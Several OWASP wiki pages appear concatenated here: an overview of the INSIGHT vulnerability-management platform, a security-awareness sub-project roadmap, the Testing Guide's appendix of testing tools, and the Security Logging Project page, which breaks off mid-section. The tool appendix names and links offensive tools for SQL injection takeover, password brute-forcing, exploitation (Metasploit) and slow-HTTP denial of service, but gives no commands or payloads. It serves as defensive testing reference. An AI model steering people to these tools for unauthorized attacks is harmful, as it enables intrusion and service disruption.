"INSIGHT" is a management platform developed by the Security Department of CreditEase which integrates Application system asset, Vulnerability lifecycle, and Security knowledge base.
# Application System Asset Management: managing assets of application system in the company, including system name, domain, senior level, department, and owner.
# Vulnerability Lifecycle Management: proceeding online submission, notification, verification, retesting, classification, risk calculation, repair deadline calculation, email reminder, and vulnerability data analysis for the security vulnerability found from application system in the company.
# Security Knowledge Management: implementing centralized storage, online learning, security training, and knowledge inherited of security knowledge and standard specification.
"INSIGHT" was developed by Python language and form of Flask framework & MySQL & Docker container.

Detailed documents available on [https://github.com/creditease-sec/insight github].

'''The concept of design'''

Application security activities begin with the risk assessment of the application assets. When the company accumulates more assets, it shall encounter increasing problems, such as unclear assets resource, miss of asset owner, the high cost of continuous of vulnerability tracking and difficulty of security knowledge penetrating, no data support for high-frequency risks, and failure of solving core problems, In addition, risk quantification is also a problem.

[[File:Insight1.png|thumb|none]]

In the design of application security management framework, the general process of risk governance is as follows:

[[File:Insight2.png|thumb|none]]

Based on the demands of the above risk governance, “INSIGHT" came into being.

'''Highlights'''

After the implement of "INSIGHT" system, we achieved the following goals. Please see the following picture:

Vulnerability history at a glance
[[File:Insight3.png|thumb|none]]
Vulnerability tracking is methodical
[[File:Insight4.png|thumb|none]]
Learning Cases can be found easily
[[File:Insight5.png|thumb|none]]
Safety requirements are precisely controlled
[[File:Insight6.png|thumb|none]]
Threats and risks are well-founded
[[File:Insight7.png|thumb|none]]
Quantitative figures are known in real time
[[File:Insight8.png|thumb|none]]

== Libraries ==
To be added.

== Technical Docs ==
To be added.

= Sub-Projects =

== Top Security Incidents ==
'''Project purpose / overview:'''

This project is sub-project for OWASP S – SDLC Project, aimed at the hot spot in the social public security problem. Through the analysis of security problems, case demonstration, in order to arouse public awareness of the security, enhance people's consciousness of network safety as well as to understand and to grasp the method of network security. Finally, everybody is responsible for network security and good atmosphere of everyone involved.

The scope of this project includes 1. Collect and sort public security issue around; 2. Output OWASP Security Awareness Top 10 Document; 3. Build an open source website platform to share information.

本项目为OWASP S-SDLC子项目，旨在针对社会公众关注的热点安全问题，通过对安全问题的分析、案例演示，唤起公众对安全的关注，提升人民群众网络安全意识，了解和掌握网络安全防范方法，营造网络安全人人有责、人人参与的良好氛围。

本项目范围包括1.收集整理分类公共安全事件；2.输出OWASP安全意识top10文档；3.搭建开源网站平台分享信息

'''Project Roadmap:'''

{| class="wikitable"
!'''Phase'''
!'''Date'''
|-
|'''Web site technology solutions'''
'''网站技术方案'''
|'''June 13- June 23, 2018'''
'''2018年6月13日-6月23日'''
|-
|'''Data Classification Standard'''
'''数据分类标准'''
|'''May25- June1, 2018'''
'''2018年5月25日-6月1日'''
|-
|'''Data collection 1'''
'''手动收集整理分类数据阶段1'''
|'''June 2- June10, 2018'''
'''2018年6月2日-6月10日'''
|-
|'''Data collection 2'''
'''手动收集整理分类数据阶段2'''
|'''June 11- June15, 2018'''
'''2018年6月11日-6月15日'''
|-
|'''Review categories and Website debugging'''
'''评审类别和网站调试'''
|'''June 11- June20, 2018'''
'''2018年6月11日-6月24日'''
|-
|'''Output-Secure Awareness TOP 10 Document'''
'''安全意识TOP 10文档'''
|'''June 21, 2018'''
'''2018年6月21日'''
|-
|'''Web Site on line'''
'''网站上线'''
|'''June 25, 2018'''
'''2018年6月25日'''
|}

'''Project Leader name:'''

Jack Ding

'''Project Leader email address:'''

190907765@qq.com

'''Team Member:'''

TBD

'''Mentor:'''

Xia Tianzhe

Zou Qingmign

==== Attachment: Data Classification Standard ====
(Will provide English Version Later)
[[File:Category.png|center|thumb]]

__NOTOC__
= Recent Updates =
{| class="wikitable"
!Main Section
!Chapter
!Status
|-
| rowspan="2" |Preface
|Purpose of S-SDLC
|Done. Waiting for approve
|-
|Coverage of S-SDLC
|Done. Waiting for approve
|-
| rowspan="2" |Security Strategy
|Security Strategy
|Done. Waiting for approve
|-
|Security Goal
|Done. Waiting for approve
|-
| rowspan="7" |The infrastructure of security engineering capability
|A Brief Overview of the Infrastructure
|Done. Waiting for approve
|-
|Organization Structures
|Done. Waiting for approve
|-
|The Flow Framework
|Done. Waiting for approve
|-
|The Security Tech Framework
|Done. Waiting for approve
|-
|The Chain of Tools
|Done. Waiting for approve
|-
|The Training System
|Done. Waiting for approve
|-
|The Measurement System
|Done. Waiting for approve
|-
| rowspan="2" |Security Requirements
|To Understand Security Requirements
|Done. Waiting for approve
|-
|How to build Security Requirements
|Done. Waiting for approve
|-
|The interpretation of OWASP Top10 Project for training purpose
|Detailed explanations of the top 10(e.g. Demo)
|Calling for volunteers
|-
|TBD...
|TBD...
|
|}<headertabs></headertabs>
[[Category:OWASP Project]]
[[Category:OWASP_Builders]]
[[Category:OWASP_Defenders]]
[[Category:OWASP_Document]]

Appendix A: Testing Tools

2018-06-08T04:41:59Z

Peter Mosmans: Minor grammar edits

{{Template:OWASP Testing Guide v4}}

==Open Source Black Box Testing tools==

=== General Testing ===
* '''[https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project OWASP ZAP]'''
**The Zed Attack Proxy (ZAP) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing.
**ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.
* '''[[OWASP_WebScarab_Project|OWASP WebScarab]]'''
** WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols. It is written in Java, and is portable to many platforms. WebScarab has several modes of operation that are implemented by a number of plugins.
* '''[[OWASP_CAL9000_Project|OWASP CAL9000]]'''
** CAL9000 is a collection of browser-based tools that enable more effective and efficient manual testing efforts.
** Includes an XSS Attack Library, Character Encoder/Decoder, HTTP Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more.
* '''[[:Category:OWASP Pantera Web Assessment Studio Project|OWASP Pantera Web Assessment Studio Project]]'''
** Pantera uses an improved version of SpikeProxy to provide a powerful web application analysis engine. The primary goal of Pantera is to combine automated capabilities with complete manual testing to get the best penetration testing results.
* '''[[:OWASP Mantra - Security Framework]]'''
**Mantra is a web application security testing framework built on top of a browser. It supports Windows, Linux(both 32 and 64 bit) and Macintosh. In addition, it can work with other software like ZAP using built in proxy management function which makes it much more convenient. Mantra is available in 9 languages: Arabic, Chinese - Simplified, Chinese - Traditional, English, French, Portuguese, Russian, Spanish and Turkish.
* '''SPIKE''' - http://www.immunitysec.com/resources-freesoftware.shtml
** SPIKE designed to analyze new network protocols for buffer overflows or similar weaknesses. It requires a strong knowledge of C to use and only available for the Linux platform.
* '''Burp Proxy''' - http://www.portswigger.net/Burp/
** Burp Proxy is an intercepting proxy server for security testing of web applications. It allows intercepting and modifying all HTTP(S) traffic passing in both directions. It works with custom SSL certificates as well as non-proxy-aware clients.
* '''Odysseus Proxy''' - http://www.wastelands.gen.nz/odysseus/
** Odysseus is a proxy server, which acts as a man-in-the-middle during an HTTP session. A typical HTTP proxy will relay packets to and from a client browser and a web server. It will intercept an HTTP session's data in either direction.
* '''Webstretch Proxy''' - http://sourceforge.net/projects/webstretch
** Webstretch Proxy enable users to view and alter all aspects of communications with a web site via a proxy. It can also be used for debugging during development.
* '''WATOBO''' - http://sourceforge.net/apps/mediawiki/watobo/index.php?title=Main_Page
** WATOBO works like a local proxy, similar to Webscarab, ZAP or BurpSuite and it supports passive and active checks.
* '''Firefox LiveHTTPHeaders''' - https://addons.mozilla.org/en-US/firefox/addon/live-http-headers/
** View HTTP headers of a page and while browsing.
* '''Firefox Tamper Data''' - https://addons.mozilla.org/en-US/firefox/addon/tamper-data/
** Use tamperdata to view and modify HTTP/HTTPS headers and post parameters
* '''Firefox Web Developer Tools''' - https://addons.mozilla.org/en-US/firefox/addon/web-developer/
** The Web Developer extension adds various web developer tools to the browser.
* '''DOM Inspector''' - https://developer.mozilla.org/en/docs/DOM_Inspector
** DOM Inspector is a developer tool used to inspect, browse, and edit the Document Object Model (DOM)
* '''Firefox Firebug''' - http://getfirebug.com/
** Firebug integrates with Firefox to edit, debug, and monitor CSS, HTML, and JavaScript.
* '''Grendel-Scan''' - http://securitytube-tools.net/index.php?title=Grendel_Scan
** Grendel-Scan is an automated security scanning of web applications and also supports manual penetration testing.
* '''OWASP SWFIntruder''' - http://www.mindedsecurity.com/swfintruder.html
** SWFIntruder (pronounced Swiff Intruder) is the first tool specifically developed for analyzing and testing security of Flash applications at runtime.
* '''SWFScan''' - http://h30499.www3.hp.com/t5/Following-the-Wh1t3-Rabbit/SWFScan-FREE-Flash-decompiler/ba-p/5440167
** Flash decompiler
* '''Wikto''' - http://www.sensepost.com/labs/tools/pentest/wikto
** Wikto features including fuzzy logic error code checking, a back-end miner, Google-assisted directory mining and real time HTTP request/response monitoring.
* '''w3af''' - http://w3af.org
** w3af is a Web Application Attack and Audit Framework. The project’s goal is finding and exploiting web application vulnerabilities.
* '''skipfish''' - http://code.google.com/p/skipfish/
** Skipfish is an active web application security reconnaissance tool.
* '''Web Developer toolbar''' - https://chrome.google.com/webstore/detail/bfbameneiokkgbdmiekhjnmfkcnldhhm
** The Web Developer extension adds a toolbar button to the browser with various web developer tools. This is the official port of the Web Developer extension for Firefox.
* '''HTTP Request Maker''' - https://chrome.google.com/webstore/detail/kajfghlhfkcocafkcjlajldicbikpgnp?hl=en-US
** Request Maker is a tool for penetration testing. With it you can easily capture requests made by web pages, tamper with the URL, headers and POST data and, of course, make new requests
* '''Cookie Editor''' - https://chrome.google.com/webstore/detail/fngmhnnpilhplaeedifhccceomclgfbg?hl=en-US
** Edit This Cookie is a cookie manager. You can add, delete, edit, search, protect and block cookies
* '''Cookie swap''' - https://chrome.google.com/webstore/detail/dffhipnliikkblkhpjapbecpmoilcama?hl=en-US
** Swap My Cookies is a session manager, it manages cookies, letting you login on any website with several different accounts.
* '''Firebug lite for Chrome"" - https://chrome.google.com/webstore/detail/bmagokdooijbeehmkpknfglimnifench'''
**Firebug Lite is not a substitute for Firebug, or Chrome Developer Tools. It is a tool to be used in conjunction with these tools. Firebug Lite provides the rich visual representation we are used to see in Firebug when it comes to HTML elements, DOM elements, and Box Model shading. It provides also some cool features like inspecting HTML elements with your mouse, and live editing CSS properties
* '''Session Manager"" - https://chrome.google.com/webstore/detail/bbcnbpafconjjigibnhbfmmgdbbkcjfi'''
**With Session Manager you can quickly save your current browser state and reload it whenever necessary. You can manage multiple sessions, rename or remove them from the session library. Each session remembers the state of the browser at its creation time, i.e the opened tabs and windows.
* '''Subgraph Vega''' - http://www.subgraph.com/products.html
**Vega is a free and open source scanner and testing platform to test the security of web applications. Vega can help you find and validate SQL Injection, Cross-Site Scripting (XSS), inadvertently disclosed sensitive information, and other vulnerabilities. It is written in Java, GUI based, and runs on Linux, OS X, and Windows.

=== Testing for specific vulnerabilities ===

==== Testing for JavaScript Security, DOM XSS ====
* BlueClosure BC Detect - http://www.blueclosure.com

==== Testing AJAX ====
* '''[[:Category:OWASP Sprajax Project|OWASP Sprajax Project]]'''

==== Testing for SQL Injection ====
* '''[[:Category:OWASP_SQLiX_Project|OWASP SQLiX]]'''
* Sqlninja: a SQL Server Injection & Takeover Tool - http://sqlninja.sourceforge.net
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/
* Absinthe 1.1 (formerly SQLSqueal) - http://sourceforge.net/projects/absinthe/
* SQLInjector - Uses inference techniques to extract data and determine the backend database server. http://www.databasesecurity.com/sql-injector.htm
* Bsqlbf-v2: A perl script allows extraction of data from Blind SQL Injections - http://code.google.com/p/bsqlbf-v2/
* Pangolin: An automatic SQL injection penetration testing tool - http://www.darknet.org.uk/2009/05/pangolin-automatic-sql-injection-tool/
* Antonio Parata: Dump Files by sql inference on Mysql - SqlDumper - http://www.ruizata.com/
* Multiple DBMS Sql Injection tool - SQL Power Injector - http://www.sqlpowerinjector.com/
* MySql Blind Injection Bruteforcing, Reversing.org - sqlbftools - http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html

==== Testing Oracle ====
* TNS Listener tool (Perl) - http://www.jammed.com/%7Ejwa/hacks/security/tnscmd/tnscmd-doc.html
* Toad for Oracle - http://www.quest.com/toad

==== Testing SSL ====
* Foundstone SSL Digger - http://www.mcafee.com/us/downloads/free-tools/ssldigger.aspx
* O-Saft - https://www.owasp.org/index.php/O-Saft
* sslyze - https://github.com/iSECPartners/sslyze
* TestSSLServer - http://www.bolet.org/TestSSLServer/
* SSLScan - http://sourceforge.net/projects/sslscan/
* SSLScan windows - https://github.com/rbsec/sslscan/releases
* SSLLabs - https://www.ssllabs.com/ssltest/

==== Testing for Brute Force Password ====
* THC Hydra - http://www.thc.org/thc-hydra/
* John the Ripper - http://www.openwall.com/john/
* Brutus - http://www.hoobie.net/brutus/
* Medusa - http://www.foofus.net/~jmk/medusa/medusa.html
* Ncat - http://nmap.org/ncat/
* HashCat - http://hashcat.net/hashcat/#features-algos
* fgdump - http://foofus.net/goons/fizzgig/fgdump/
* Password Dictionary - https://crackstation.net/buy-crackstation-wordlist-password-cracking-dictionary.htm

==== Testing Buffer Overflow ====
* OllyDbg - http://www.ollydbg.de
** "A windows based debugger used for analyzing buffer overflow vulnerabilities"
* Spike - http://www.immunitysec.com/downloads/SPIKE2.9.tgz
** A fuzzer framework that can be used to explore vulnerabilities and perform length testing
* Brute Force Binary Tester (BFB) - http://bfbtester.sourceforge.net
** A proactive binary checker
* Metasploit - http://www.metasploit.com/
** A rapid exploit development and Testing frame work

==== Fuzzer ====
* '''[[:Category:OWASP_WSFuzzer_Project|OWASP WSFuzzer]]'''
* Wfuzz - http://www.darknet.org.uk/2007/07/wfuzz-a-tool-for-bruteforcingfuzzing-web-applications/

==== Googling ====
* Bishop Fox's Google Hacking Diggity Project - http://www.bishopfox.com/resources/tools/google-hacking-diggity/
* Foundstone Sitedigger (Google cached fault-finding) - http://www.mcafee.com/us/downloads/free-tools/sitedigger.aspx
* Google Hacking database - https://www.exploit-db.com/google-hacking-database/

==== Slow HTTP ====
* Slowloris http://ckers.org/slowloris
* slowhttptest https://github.com/shekyan/slowhttptest

==Commercial Black Box Testing tools==
* NGS Typhon III - http://www.nccgroup.com/en/our-services/security-testing-audit-compliance/information-security-software/ngs-typhon-iii/
* NGSSQuirreL - http://www.nccgroup.com/en/our-services/security-testing-audit-compliance/information-security-software/ngs-squirrel-vulnerability-scanners/
* IBM AppScan - http://www-01.ibm.com/software/awdtools/appscan/
* Trustwave App Scanner (Formerly Cenzic Hailstorm) - https://www.trustwave.com/Products/Application-Security/App-Scanner-Family/App-Scanner-Enterprise/
* Burp Intruder - http://www.portswigger.net/burp/intruder.html
* Acunetix Web Vulnerability Scanner - http://www.acunetix.com
* Sleuth - http://www.sandsprite.com
* NT Objectives NTOSpider - http://www.ntobjectives.com/products/ntospider.php
* MaxPatrol Security Scanner - http://www.maxpatrol.com
* Ecyware GreenBlue Inspector - http://www.ecyware.com
* Parasoft SOAtest (more QA-type tool)- http://www.parasoft.com/jsp/products/soatest.jsp?itemId=101
* MatriXay - http://www.dbappsecurity.com/webscan.html
* N-Stalker Web Application Security Scanner - http://www.nstalker.com
* HP WebInspect - http://www.hpenterprisesecurity.com/products/hp-fortify-software-security-center/hp-webinspect
* SoapUI (Web Service security testing) - http://www.soapui.org/Security/getting-started.html
* Netsparker - http://www.mavitunasecurity.com/netsparker/
* SAINT - http://www.saintcorporation.com/
* QualysGuard WAS - http://www.qualys.com/enterprises/qualysguard/web-application-scanning/
* Indusface WAS- https://www.indusface.com/products/application-security/web-application-scanning
* Retina Web - http://www.eeye.com/Products/Retina/Web-Security-Scanner.aspx

==Linux Distrubtion==
* PenTestBox https://tools.pentestbox.com/
* Samurai https://sourceforge.net/p/samurai/wiki/Home/
* Santoku https://sourceforge.net/projects/santoku/
* ParrotSecurity https://sourceforge.net/projects/parrotsecurity/?source=navbar
* Kali https://www.kali.org/
* Matriux https://sourceforge.net/projects/matriux/?source=navbar
* BlackArch http://www.blackarch.org/downloads.html
* Cyborg Hawk Linux http://cyborg.ztrela.com/tools/
* PenToo http://www.pentoo.ch/download/
* bugtraq http://bugtraq-team.com/

==Source Code Analyzers==
===Open Source / Freeware===
* [[:Category:OWASP_Orizon_Project|Owasp Orizon]]
* '''[[:Category:OWASP_LAPSE_Project|OWASP LAPSE]]'''
* [[OWASP O2 Platform]]
* [[OWASP WAP-Web Application Protection]]
* Boon - http://www.cs.berkeley.edu/~daw/boon
* FindBugs - http://findbugs.sourceforge.net
* Find Security Bugs - https://find-sec-bugs.github.io/
* FlawFinder - http://www.dwheeler.com/flawfinder
* Google CodeSearchDiggity - http://www.bishopfox.com/resources/tools/google-hacking-diggity/attack-tools/
* phpcs-security-audit - https://github.com/FloeDesignTechnologies/phpcs-security-audit
* PMD - http://pmd.sourceforge.net/
* Microsoft’s [[FxCop]]
* .NET Security Guard - https://dotnet-security-guard.github.io/
* Oedipus - http://www.darknet.org.uk/2006/06/oedipus-open-source-web-application-security-analysis/
* Puma Scan - https://pumascan.com
* Splint - http://splint.org
* SonarQube - http://sonarqube.org
* W3af - http://w3af.sourceforge.net/

===Commercial ===

* Armorize CodeSecure - http://www.armorize.com/index.php?link_id=codesecure
* Parasoft C/C++ test - http://www.parasoft.com/jsp/products/cpptest.jsp/index.htm
* Checkmarx CxSuite - http://www.checkmarx.com
* HP Fortify - http://www.hpenterprisesecurity.com/products/hp-fortify-software-security-center/hp-fortify-static-code-analyzer
* GrammaTech - http://www.grammatech.com
* ITS4 - http://seclab.cs.ucdavis.edu/projects/testing/tools/its4.html
* Appscan - http://www-01.ibm.com/software/rational/products/appscan/source/
* ParaSoft - http://www.parasoft.com
* Puma Scan Professional - https://pumascanpro.com
* Virtual Forge CodeProfiler for ABAP - http://www.virtualforge.de
* Veracode - http://www.veracode.com
* Armorize CodeSecure - http://www.armorize.com/codesecure/
* Peach Fuzzer - http://www.peachfuzzer.com/
* Burp Suite - https://portswigger.net/burp/

==Acceptance Testing Tools==
Acceptance testing tools are used to validate the functionality of web applications. Some follow a scripted approach and typically make use of a Unit Testing framework to construct test suites and test cases. Most, if not all, can be adapted to perform security specific tests in addition to functional tests.
* BDD Security - https://github.com/continuumsecurity/bdd-security

===Open Source Tools===

* WATIR - http://wtr.rubyforge.org
** A Ruby based web testing framework that provides an interface into Internet Explorer.
** Windows only.
* HtmlUnit - http://htmlunit.sourceforge.net
** A Java and JUnit based framework that uses the Apache HttpClient as the transport.
** Very robust and configurable and is used as the engine for a number of other testing tools.
* jWebUnit - http://jwebunit.sourceforge.net
** A Java based meta-framework that uses htmlunit or selenium as the testing engine.
* Canoo Webtest - http://webtest.canoo.com
** An XML based testing tool that provides a facade on top of htmlunit.
** No coding is necessary as the tests are completely specified in XML.
** There is the option of scripting some elements in Groovy if XML does not suffice.
** Very actively maintained.
* HttpUnit - http://httpunit.sourceforge.net
** One of the first web testing frameworks, suffers from using the native JDK provided HTTP transport, which can be a bit limiting for security testing.
* Watij - http://watij.com
** A Java implementation of WATIR.
** Windows only because it uses IE for its tests (Mozilla integration is in the works).
* Solex - http://solex.sourceforge.net
** An Eclipse plugin that provides a graphical tool to record HTTP sessions and make assertions based on the results.
* Selenium - http://seleniumhq.org/
** JavaScript based testing framework, cross-platform and provides a GUI for creating tests.
** Mature and popular tool, but the use of JavaScript could hamper certain security tests.

==Other Tools==

===Runtime Analysis===

* Rational PurifyPlus - http://www-01.ibm.com/software/awdtools/purify/
* Seeker by Quotium - http://www.quotium.com/prod/security.php

===Binary Analysis===

* BugScam IDC Package - http://sourceforge.net/projects/bugscam
* Veracode - http://www.veracode.com

===Requirements Management===

* Rational Requisite Pro - http://www-306.ibm.com/software/awdtools/reqpro

===Site Mirroring===
* wget - http://www.gnu.org/software/wget, http://www.interlog.com/~tcharron/wgetwin.html
* curl - http://curl.haxx.se
* Sam Spade - http://www.samspade.org
* Xenu's Link Sleuth - http://home.snafu.de/tilman/xenulink.html

[[Category:SAMM-CR-2]]

Logging Cheat Sheet

2018-05-22T21:48:31Z

Peter Mosmans: Remove Common Event Expression (CEE) as MITRE has stopped all work on CEE in 2014

OWASP Security Logging Project

2018-05-21T01:08:00Z

Peter Mosmans: Fix typo

=Main=

<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:OWASP_Project_Header.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |

==OWASP Security Logging Project==

The OWASP Security Logging project provides developers and ops personnel with APIs for logging security-related events. The aim is to let developers use the same set of logging APIs they are already familiar with from over a decade of experience with Log4J and its successors, while also adding powerful security features.

==Description==
Logging is often neglected by developers when thinking of security considerations. However, proper logging practice can provide the crucial forensics needed to investigate after a breach, and perhaps more importantly, a change to detect security issues as they happen. Most developers are already familiar with using logging for debugging and diagnostic purposes, so it should be easy for them to grasp the concept of security logging as well. The OWASP Security Logging project aims to give developers an easy way to get started with logging security events, tracking extra forensic information like the who (username), what (event type), and where (IP address, server name) needed for forensics. It also provides a means for classifying the information in log messages and applying masking if necessary.

==Licensing==
This library is free software: you can redistribute it and/or modify it under the terms of the Apache License, Version 2.0. You can copy, distribute and transmit the work, and you can adapt it, and use it commercially, but all provided that you attribute the work and if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one.

| valign="top" style="padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;" |

== Quick Start ==
Overview of benefits and what you need to get started quickly.

[http://www.securitycurmudgeon.com/2016/03/owasp-security-logging-project-explored.html OWASP Security Logging Project Explored]

== Project Resources ==
[https://github.com/javabeanz/owasp-security-logging Source Code]

[https://github.com/javabeanz/owasp-security-logging/wiki Documentation]

[https://github.com/javabeanz/owasp-security-logging/issues Issue Tracker]

== Related Projects ==
* [[Logging_Cheat_Sheet|Logging Cheat Sheet]]

==Classifications==
{| width="200" cellpadding="2"
|-
| colspan="2" align="center" | [[File:Project_Type_Files_CODE.jpg|link=]]
|-
| align="center" valign="top" width="50%" rowspan="2"| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects|Incubator Project]]
| align="center" valign="top" width="50%"| [[File:Owasp-builders-small.png|link=Builders]]
|-
| align="center" valign="top" width="50%"| [[File:Owasp-defenders-small.png|link=Defenders]]
|-
| colspan="2" align="center" | [http://www.apache.org/licenses/LICENSE-2.0.html ASLv2]
|}

| valign="top" style="padding-left:25px;width:200px;" |

== Project Leaders ==
[mailto:sytze.vonkoningsveld@owasp.org Sytze van Koningsveld]

[mailto:august.detlefsen@owasp.org August Detlefsen]

[mailto:milton.smith@owasp.org Milton Smith]

== News and Events ==

18 Jan 2018, [https://github.com/javabeanz/owasp-security-logging/releases/tag/v1.1.4 Version 1.1.4 released]

1 Jul 2016, [http://www.slideshare.net/MiltonSmith6/how-to-use-owasp-security-logging How to Use OWASP Security Logging, AppSecEU 2016 Lightning Talk]

5 Mar 2015, Version 1.0.0 deployed to Maven Central

23 Dec 2014, Project Created and source code now available!

|}

<paypal>OWASP Security Logging Project</paypal>

=FAQs=

The following provides answers to frequently asked questions.

==How can I participate in your project?==
All you have to do is make the Project Leader's aware of your available time to contribute to the project. It is also important to let the Leader's know how you would like to contribute and pitch in to help the project meet it's goals and milestones. There are many different ways you can contribute to an OWASP Project, but communication with the leads is key.

==If I am not a programmer can I participate in your project?==
Yes, you can certainly participate in the project if you are not a programmer or technical. The project needs different skills and expertise and different times during its development. Currently, we are looking for researchers, writers, graphic designers, and a project administrator.

= Acknowledgements =
==Volunteers==

Only project leads for the moment. Email projects leads if you would like to participate.

=Roadmap & Getting Involved=

Today many logging technologies are available providing powerful application logging capabilities. But while powerful, these technologies are not designed for specific use-cases like security and auditing. The generalized approach to logging platforms makes these platforms more useful to the widest possible audience but it also places more responsibility on designers. In short, we don't consider our desire for additional improvement for security and audit logs is no oversight on the part of logging platform designers.

It's the OWASP Security Logging Project desire to leverage existing technologies and apply them to improve security, audit, in addition to diagnostic logging. We understand logging is mostly an afterthought on many project schedules, if it's included at all. We believe a logging solution embracing this project will help the community produce better logs, a better understanding of our information systems, and higher quality software.

==Getting involved==
Are you passionate about logging? Are you motivated share your time and knowledge with the community? Send the project leads an email, listed on project home page, and explain your ideas and how you can help. Don't be discouraged if we don't immediately respond. We occasionally get distracted with life but rest assured we will respond.

==What is the OWASP Security Logging Project?==
OWASP Security Logging Project purpose is to deliver a suitable logging solution for general-purpose security, audit, and diagnostics log messaging. Beyond code and technology, the project provides architectural and implementation considerations you may find useful in your own projects, or technologies you may not have previously considered.

==Project goals==
* Develop a set of logging requirements for key domains like security, auditing, and diagnostics
* Develop interface specifications that support the projects requirements
* Develop a base implementation supporting project interface specifications
* Develop documentation artifacts (described later)

==Considerations and restraints==
* Ease of use
* Compelling value on initial deployment (without any refactoring). Increased value for refactoring
* Compatibility with existing industry standard logging technologies (e.g., log4*, logback, FluentD, etc)
* Typical scenarios considered, 1) stand-alone applications on mobile or desktop, 2) enterprise applications, and 3) cloud-based applications.

==Anticipated support==
* Java 1.7 and Java 1.8
* .NET (tbd)
''We have considered other platforms for the future but everything depends upon community interest and support.''

==Proposed features==
Following is a list of numbered features.

:1. MDC metadata improvements
:: a. process id (TBD)
:: b. application id and application instance id
:: c. server time\date in UTC
:: d. client time\date in UTC
:: e. client IP address
:: f. username or ID
:: g. global client session ID
:: h. security policy identifier
:: i. transaction id
:2. Log system properties on startup
:3. Log command line options on startup
:4. Log application server properties on startup
:5. Log HTTP request parameters
:6. Log HTTP session attributes
:7. Internationalization considerations
:8. Redirect system streams like system.out and system.err security logging framework
:9. Asynchronous message logging, store and forward
:10. Message correlation
:11. Performance options for transport compression
:12. Authenticated client logging
:13. Secure log message transport
:14. Signed log messages
:15. Guaranteed log message delivery

==Delivery phases==
'''Alpha 1''', some features code complete.<br/>
'''Alpha 2''', more features code complete.<br/>
'''Beta''', release code complete. Public encouraged to test and respond with comments.<br/>
'''Early Availability(EA)''', includes improvements to beta based upon public and team recommendations.<br/>

==Use-case applicability & delivery schedule==
The following table shows a proposed applicability of each feature to the projects areas of concern, diagnostics, security, and audit logging along with a suggested delivery phase.

{| class="wikitable" style="color:#555555; background-color:#ffffcc;" cellpadding="10"
! 
!Diagnostics
!Security
!Audit
!Delivery
|-
|Feature 1a, process id
|'''X'''
|'''X'''
|'''X'''
|Alpha 1
|-
|Feature 1b, application id and application instance id
|'''X'''
|'''X'''
|'''X'''
|Alpha 1
|-
|Feature 1c, server time\date in UTC
|'''X'''
|'''X'''
|'''X'''
|Alpha 1
|-
|Feature 1d, client time\date in UTC
|'''X'''
|'''X'''
|'''X'''
|Alpha 1
|-
|Feature 1e, client IP address
|'''X'''
|'''X'''
|'''X'''
|Alpha 1
|-
|Feature 1f, username or ID
|'''X'''
|'''X'''
|'''X'''
|Alpha 1
|-
|Feature 1g, global client session ID
|'''X'''
|'''X'''
|'''X'''
|Alpha 1
|-
|Feature 1h, security policy identifier
| 
|'''M'''
|'''X'''
|Alpha 1
|-
|Feature 1i, transaction id
|'''X'''
|'''X'''
|'''X'''
|Alpha 1
|-
|Feature 2, Log system properties on startup
|'''X'''
|'''X'''
|'''X'''
|Alpha 1
|-
|Feature 3, Log command line properties on startup
|'''X'''
| 
| 
|Alpha 1
|-
|Feature 4, Log application server properties on startup
|'''X'''
| 
| 
|Alpha 2
|-
|Feature 5, Log HTTP request parameters
|'''X'''
|'''X'''
| 
|Alpha 2
|-
|Feature 6, Log HTTP session attributes
|'''X'''
|'''X'''
|'''?'''
|Alpha 2
|-
|Feature 7, Internationalization considerations
|'''X'''
|'''X'''
|'''X'''
|Alpha 1
|-
|Feature 8, Redirect system streams like System.out and System.err to logging framework
|'''X'''
| 
| 
|Alpha 2
|-
|Feature 9, Asynchronous message logging, store and forward
|'''X'''
|'''X'''
|'''X'''
|Alpha 2
|-
|Feature 10, Message correlation
|'''X'''
|'''X'''
|'''X'''
|Alpha 2
|-
|Feature 11, Performance options for transport compression
|'''X'''
|'''X'''
|'''X'''
|Alpha 2
|-
|Feature 12, Authenticated client logging
| 
|'''X'''
|'''X'''
|Alpha 2
|-
|Feature 13, Secure log message transport
| 
|'''X'''
|'''X'''
|Alpha 2
|-
|Feature 14, Signed log messages
| 
|'''X'''
|'''X'''
|Alpha 1
|-
|Feature 15, Guaranteed log message delivery
| 
|'''X'''
|'''X'''
|Alpha 2
|}
'''''Legend, X=applicable use-case, M=maybe useful, ?=tbd'''''

==Project delivery artifacts==
:'''Logging primer''', architectural considerations for security, audit, and diagnostics for community projects. Provide information how logging project can be leverage to address concerns provided by each use case, general logging best practices, template for using message levels (e.g., INFO, WARN, etc).
:'''Logging design''', specific technical details to apply project logging to community logging projects.
:'''Code''', software program code that implements project feature goals.

==Code areas==
:'''Logging layouts''', at the moment this is Common Event Format(CEF) and Common Log File System(CLFS).
:'''MDC filter''', include system information handy for most deployments into logbacks Mapped Diagnostics Context(MDC).
:'''MDC marker''',
:'''Unit testing''', various software code we use (and you can also use) to test project code.

==Detailed use-case descriptions==
Following are detailed use-case descriptions for each feature. The purpose of this section is to help readers to understand more about each feature and it's potential benefits.

==Feature 1, MDC metadata improvements==
This feature adds certain metadata useful for security purposes to logback’s Mapped Diagnostics Context. The following metadata will be mapped where available.

===process id (feature 1a)===
This is the process id of the application as assigned by the operating system at execution. On *nix and Windows environments this the PID. Depending upon the language platform process id may not be readily available. As an alternative, server hostname or IP may be used.

===application id and application instance id (feature 1b)===
